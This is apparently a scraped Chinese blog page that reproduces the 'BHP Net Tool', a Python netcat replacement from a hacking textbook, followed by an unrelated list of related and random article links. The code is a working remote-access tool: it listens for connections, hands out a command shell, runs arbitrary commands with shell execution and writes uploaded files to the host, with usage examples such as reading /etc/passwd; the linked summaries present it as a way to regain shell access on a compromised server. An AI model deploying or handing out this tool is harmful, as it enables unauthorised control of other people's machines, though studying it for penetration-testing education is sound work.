#导入需要用到的包
import sys
import getopt
import threading
import socket
import subprocess #定义全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0 def usage():
print('''BHP Net Tool usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming connections
-e --execute - execute the given file upon receiving a connection
-c --command - initialize a command shell
-u --upload = destination - upon receiving connection upload a file and write to [destination] Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=cat /etc/passwd
echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135
''')
sys.exit(0) def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
#连接到目标主机 client.connect((target,port)) if len(buffer):
client.send(buffer.encode()) while True: #等待数据回传
recv_len = 1
response = '' while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+=data.decode() if recv_len < 4096:
break print(response,end='') #等待输入
buffer = input('')
buffer +='\n' #发送出去 client.send(buffer.encode()) except Exception as e:
print(str(e))
print('[*] Exception ! Exiting .')
client.close() def server_loop():
global target if not target:
target = '0.0.0.0' server = socket.socket()
server.bind((target,port))
server.listen(255) while True:
client_socket,addr = server.accept() #分拆一个线程处理新的客户端
client_thread = threading.Thread(target = client_handler,args = (client_socket,))
client_thread.start() def client_handler(client_socket):
global upload
global execute
global command if len(upload_destination):
#检测上传文件 file_buffer = '' #持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break else:
file_buffer += data.decode()
try:
file_descriptor = open(upload_destination,'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send('Sucessfully saved file to %s\r\n'.encode() % upload_destination) except Exception as e:
print(str(e))
print('Failed to save file to %s\r\n' % upload_destination) if len(execute):
output = run_command(execute) client_socket.send(output.encode()) if command:
while True:
client_socket.send("<BHP:#> ".encode())
cmd_buff = ''
while '\n' not in cmd_buff:
cmd_buff += client_socket.recv(1024).decode()
response = run_command(cmd_buff) client_socket.send(response) def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell = True) except Exception as e:
print(str(e))
print('Failed to execute command.') return output def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port if not len(sys.argv[1:]): #如果没有参数则打印帮助信息
usage() try:
options,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage() for o,a in options:
if o in ('-h','--help'):
usage()
elif o in ('-l','--listen'):
listen = True
elif o in ('-e','--execute'):
execute = a
elif o in ('-c','--command'):
command = True
elif o in ('-u','--upload'):
upload_destination = a
elif o in ('-t','--target'):
target = a
elif o in ('-p','--port'):
port = int(a)
else :
assert False,"Unhandled Option" if not listen and len(target) and port > 0 :
buffer = sys.stdin.read() client_sender(buffer) if listen :
server_loop()
main()

BHP Net Tool的更多相关文章

  1. 取代netcat

    前言 众所周知,netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件,反弹shell等等各种利于别人控制你电脑的操作.所以聪明的系统管理员会将它从系统中移除,这样当别人 ...

  2. python黑帽子

    1.TCP客户端 #AF_INET 使用标准的IPv4地址或者主机名 #SOCK_STREAM是一个客户端 import socket target_host = 'www.google.com' t ...

  3. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  4. Black Hat Python之#1:制作简单的nc工具

    nc即netcat,是网络界的瑞士军刀.当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几 ...

  5. [免费了] SailingEase .NET Resources Tool (.NET 多语言资源编辑器)

    这是我2010年左右,写 Winform IDE (http://www.cnblogs.com/sheng_chao/p/4387249.html)项目时延伸出的一个小项目. 最初是以共享软件的形式 ...

  6. jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the install tool.

    jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the ...

  7. mtk flash tool,Win7 On VirtualBox

    SP_Flash_Tool_exe_Windows_v5.1624.00.000 Win7 在 VirtualBox, 安裝 mtk flash tool, v5.1628 在燒錄時會 fail. v ...

  8. 使用Microsoft Web Application Stress Tool对web进行压力测试

    Web压力测试是目前比较流行的话题,利用Web压力测试可以有效地测试一些Web服务器的运行状态和响应时间等等,对于Web服务器的承受力测试是个非常好的手法.Web 压力测试通常是利用一些工具,例如微软 ...

  9. How to Use Android ADB Command Line Tool

    Android Debug Bridge (adb) is a tool that lets you manage the state of an emulator instance or Andro ...

随机推荐

  1. android studio 换护眼的颜色步骤

    设置--->Editor-->General-->Default Text-->Background护眼色是#D2E3C7

  2. Mysql数据库的一些命令_LInux

    查看当前数据库的版本,因为有些命令在不同版本中 用法有可能不一样,注意 -V 是大写字母V[root@localhost ~]# mysqladmin -Vmysqladmin  Ver 8.42 D ...

  3. STL 内存释放

    C++ STL 中的map,vector等内存释放问题是一个很令开发者头痛的问题,关于 stl内部的内存是自己内部实现的allocator,关于其内部的内存管理本文不做介绍,只是 介绍一下STL内存释 ...

  4. 软件分析(Mobile Apps )--百词斩

    1) 此类软件是什么时候开始出现的, 这些软件是怎么说服你(陌生人)成为他们的用户的? 他们的目标都是盈利么? 他们的目标都是赚取用户的现金么?还是别的? 2) 你个人第一次用此类软件是什么时候,你当 ...

  5. 谈谈黑客攻防技术的成长规律(aullik5)

    黑莓末路 昨晚听FM里谈到了RIM这家公司,有分析师认为它需要很悲催的裁员90%,才能保证活下去.这是一个意料之中,但又有点兔死狐悲的消息.可能在不久的将来,RIM这家公司就会走到尽头,或被收购,或申 ...

  6. String类和StringBuffer类的区别

    首先,String和StringBuffer主要有2个区别: (1)String类对象为不可变对象,一旦你修改了String对象的值,隐性重新创建了一个新的对象,释放原String对象,StringB ...

  7. Error running app: This version of Android Studio is incompatible with the Gradle Plugin used. Try disabling Instant Run.

    转自:http://blog.csdn.net/qq_15807167/article/details/51984920 参考:http://stackoverflow.com/questions/3 ...

  8. [Java Basics3] XML, Unit testing

    What's the difference between DOM and SAX? DOM creates tree-like representation of the XML document ...

  9. 手把手Maven搭建SpringMVC+Spring+MyBatis框架(超级详细版)

    手把手Maven搭建SpringMVC+Spring+MyBatis框架(超级详细版) SSM(Spring+SpringMVC+Mybatis),目前较为主流的企业级架构方案.标准的MVC设计模式, ...

  10. 浅谈js的事件冒泡机制

    很多人都听说过,js的事件冒泡机制,其实,这个说法还是比较生动形象的,就是一个水泡在水底下,冒泡到水面的过程. 那js的事件冒泡机制呢,就是一个DOM树,一级一级向上冒的过程,最终是到document ...